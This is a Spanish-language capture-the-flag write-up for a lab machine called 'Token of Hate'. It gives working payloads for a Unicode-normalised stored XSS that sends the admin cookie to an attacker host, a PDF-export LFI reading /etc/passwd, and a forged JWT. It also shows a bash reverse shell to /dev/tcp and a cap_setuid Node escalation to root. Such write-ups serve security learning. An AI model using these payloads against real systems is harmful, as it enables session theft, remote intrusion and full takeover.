Write-ups

Resolución del CTF TOKEN OF HATE


Enumeración

Escaneo de puertos

Realizamos un escaneo de todos los puertos para identificar los servicios activos en el sistema objetivo.

nmap -p- --open -sCV -Pn -n --min-rate 5000 192.168.0.115
  • -p- : Escaneo de todos los puertos. (65535)
  • -sS : Realiza un TCP SYN Scan para escanear rápidamente qué puertos están abiertos.
  • -sC : Escaneo con scripts básicos de reconocimiento.
  • -sV : Detección de servicios.
  • –min-rate 5000 : Escaneo no inferior a 5000 paquetes/segundo.
  • -n : Sin resolución DNS.
  • -Pn : Sin descubrimiento por ping.

Identificamos los servicios expuestos: SSH (22/tcp) y HTTP (80/tcp) sobre un sistema Debian.

Explotación

XSS almacenado mediante Unicode

La aplicación transforma internamente los nombres de usuario Unicode a su equivalente ASCII. Aprovechamos esta conversión para inyectar código JavaScript persistente usando caracteres Unicode visualmente equivalentes.

<script>fetch("http://192.168.0.1:5454/c?="+document.cookie)</script>

Transformamos el payload reemplazando caracteres críticos por sus equivalentes Unicode antes del registro.

sed -e 's/>/﹥/g;s/</</g;s/(/⁽/g;s/)/⁾/g;s/=/⁼/g;s/"/"/g;s/'"'"'/'/g' payload > payload_unicode

Registramos el usuario con el payload transformado y levantamos un servidor HTTP para capturar la cookie del administrador cuando visualiza el registro.

python3 -m http.server 5454

Secuestro de sesión

Recibimos la cookie de sesión del administrador y la reutilizamos en el navegador para acceder al panel con privilegios elevados.

LFI / SSRF a través de generación de PDF

La funcionalidad de exportación a PDF utiliza contenido HTML controlable. Inyectamos JavaScript para realizar peticiones internas y leer recursos locales.

<script>x=new XMLHttpRequest;x.onload=function(){document.write(this.responseText)};x.open("GET","file:///etc/passwd");x.send();</script>

Confirmamos la lectura de archivos locales y enumeramos servicios internos mediante SSRF, identificando una API en el puerto 3000.

API interna y JWT

La API expone un endpoint de autenticación que devuelve un JWT y otro para ejecución de comandos restringido al rol admin. Obtenemos credenciales válidas y solicitamos un token.

curl -s -X POST http://127.0.0.1:3000/login -H 'Content-Type: application/json' -d '{"username":"Jose","password":"FuLqqEAErWQsmTQQQhsb"}'

El JWT no valida correctamente la firma. Modificamos el campo role a admin y reutilizamos el token para ejecutar comandos.

curl -s -X POST http://127.0.0.1:3000/command -H 'Content-Type: application/json' -d '{"command":"id","token":"JWT_MODIFICADO"}'

Obtención de shell

Ejecutamos un reverse shell a través del endpoint vulnerable.

curl -s -X POST http://127.0.0.1:3000/command -H 'Content-Type: application/json' -d '{"command":"bash -c \"bash -i >& /dev/tcp/192.168.0.1/443 0>&1\"","token":"JWT_MODIFICADO"}'

Escalada de privilegios

Enumeramos capabilities y detectamos un binario con cap_setuid asignado.

getcap -r / 2>/dev/null

El binario /usr/bin/yournode corresponde a Node.js y permite cambiar el UID efectivo.

/usr/bin/yournode -e 'process.setuid(0); require("child_process").spawn("/bin/bash", {stdio: [0,1,2]})'

Obtenemos una shell con privilegios de root.


Deja una respuesta

Tu dirección de correo electrónico no será publicada. Los campos obligatorios están marcados con *